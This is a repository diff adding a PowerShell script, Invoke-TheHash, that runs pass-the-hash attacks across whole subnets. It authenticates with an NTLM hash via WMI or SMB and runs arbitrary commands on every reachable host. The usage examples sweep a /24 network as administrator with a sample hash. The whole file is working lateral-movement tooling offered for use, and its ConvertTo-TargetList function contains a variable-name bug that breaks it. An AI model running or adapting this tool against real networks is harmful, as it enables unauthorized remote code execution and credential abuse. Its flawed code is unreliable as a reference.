aboutsummaryrefslogtreecommitdiff
path: root/Invoke-TheHash.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Invoke-TheHash.ps1')
-rw-r--r--Invoke-TheHash.ps1243
1 files changed, 243 insertions, 0 deletions
diff --git a/Invoke-TheHash.ps1 b/Invoke-TheHash.ps1
new file mode 100644
index 0000000..3a552b4
--- /dev/null
+++ b/Invoke-TheHash.ps1
@@ -0,0 +1,243 @@
+function Invoke-TheHash
+{
+<#
+.SYNOPSIS
+Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
+primarily for checking a hash against multiple systems. The function can also be used to execute commands
+on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools
+from within that session.
+
+.PARAMETER Type
+Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec.
+
+.PARAMETER Targets
+List of hostnames, IP addresses, or CIDR notation for targets.
+
+.PARAMETER TargetsExclude
+List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format
+(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added
+to Targets within a CIDR notation, it must be excluded as an IP address.
+
+.PARAMETER PortCheckDisable
+(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
+the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.
+
+.PARAMETER PortCheckTimeout
+Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.
+
+.PARAMETER Username
+Username to use for authentication.
+
+.PARAMETER Domain
+Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
+
+.PARAMETER Hash
+NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
+
+.PARAMETER Command
+Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.
+
+.PARAMETER CommandCOMSPEC
+Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
+
+.PARAMETER Service
+Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
+
+.PARAMETER SMB1
+(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
+target.
+
+.PARAMETER Sleep
+Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
+setting if you are experiencing strange results.
+
+.EXAMPLE
+Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
+
+.EXAMPLE
+$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
+$target_list = ConvertTo-TargetList $target_output
+Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
+
+.LINK
+https://github.com/Kevin-Robertson/Invoke-TheHash
+
+#>
+[CmdletBinding()]
+param
+(
+ [parameter(Mandatory=$true)][Array]$Targets,
+ [parameter(Mandatory=$false)][Array]$TargetsExclude,
+ [parameter(Mandatory=$true)][String]$Username,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$Service,
+ [parameter(Mandatory=$false)][String]$Command,
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
+ [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type,
+ [parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100,
+ [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
+ [parameter(Mandatory=$false)][Switch]$PortCheckDisable,
+ [parameter(Mandatory=$false)][Int]$Sleep,
+ [parameter(Mandatory=$false)][Switch]$SMB1
+)
+
+$target_list = New-Object System.Collections.ArrayList
+$target_list_singles = New-Object System.Collections.ArrayList
+$target_list_subnets = New-Object System.Collections.ArrayList
+
+if($Type -eq 'WMIExec')
+{
+ $Sleep = 10
+}
+else
+{
+ $Sleep = 150
+}
+
+# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan
+foreach($target in $Targets)
+{
+
+ if($target.contains("/"))
+ {
+ $target_split = $target.split("/")[0]
+ [uint32]$subnet_mask_split = $target.split("/")[1]
+
+ $target_address = [System.Net.IPAddress]::Parse($target_split)
+
+ if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8)
+ {
+ throw "Subnet mask is not valid"
+ }
+
+ $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))
+
+ $target_start_address = $target_address.GetAddressBytes()
+ [array]::Reverse($target_start_address)
+
+ $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0)
+ [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split)))
+ $target_start_address = $target_start_address -band $target_subnet_mask_start
+
+ $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3]
+ [array]::Reverse($target_start_address)
+
+ $target_address = [System.Net.IPAddress] [byte[]] $target_start_address
+
+ $target_list_subnets.Add($target_address.IPAddressToString) > $null
+
+ for ($i=0; $i -lt $target_count-1; $i++)
+ {
+ $target_next = $target_address.GetAddressBytes()
+ [array]::Reverse($target_next)
+ $target_next = [System.BitConverter]::ToUInt32($target_next,0)
+ $target_next ++
+ $target_next = [System.BitConverter]::GetBytes($target_next)[0..3]
+ [array]::Reverse($target_next)
+
+ $target_address = [System.Net.IPAddress] [byte[]] $target_next
+ $target_list_subnets.Add($target_address.IPAddressToString) > $null
+ }
+
+ $target_list_subnets.RemoveAt(0)
+ $target_list_subnets.RemoveAt($target_list_subnets.Count - 1)
+
+ }
+ else
+ {
+ $target_list_singles.Add($target) > $null
+ }
+
+}
+
+$target_list.AddRange($target_list_singles)
+$target_list.AddRange($target_list_subnets)
+
+foreach($target in $TargetsExclude)
+{
+ $target_list.Remove("$Target")
+}
+
+foreach($target in $target_list)
+{
+
+ if($type -eq 'WMIExec')
+ {
+
+ if(!$PortCheckDisable)
+ {
+ $WMI_port_test = New-Object System.Net.Sockets.TCPClient
+ $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null)
+ $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
+ $WMI_port_test.Close()
+ }
+
+ if($WMI_port_test_success -or $PortCheckDisable)
+ {
+ Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep
+ }
+
+ }
+ elseif($Type -eq 'SMBExec')
+ {
+
+ if(!$PortCheckDisable)
+ {
+ $SMB_port_test = New-Object System.Net.Sockets.TCPClient
+ $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null)
+ $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
+ $SMB_port_test.Close()
+ }
+
+ if($SMB_port_test_success -or $PortCheckDisable)
+ {
+ Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep
+ }
+
+ }
+
+}
+
+}
+
+function ConvertTo-TargetList
+{
+<#
+.SYNOPSIS
+ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to
+have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash
+through the Targets parameter.
+
+.PARAMETER $OutputArray
+The output array returned by Invoke-TheHash.
+
+.EXAMPLE
+$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
+$target_list = ConvertTo-TargetList $target_output
+Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
+
+.LINK
+https://github.com/Kevin-Robertson/Invoke-TheHash
+
+#>
+
+[CmdletBinding()]
+param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output)
+
+$target_list = New-Object System.Collections.ArrayList
+
+foreach($target in $ITHOutput)
+{
+
+ if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *")
+ {
+ $target_index = $target.IndexOf(" on ")
+ $target_index += 4
+ $target = $target.SubString($target_index,($target.Length - $target_index))
+ $target_list.Add($target) > $null
+ }
+
+}
+
+return $target_list
+}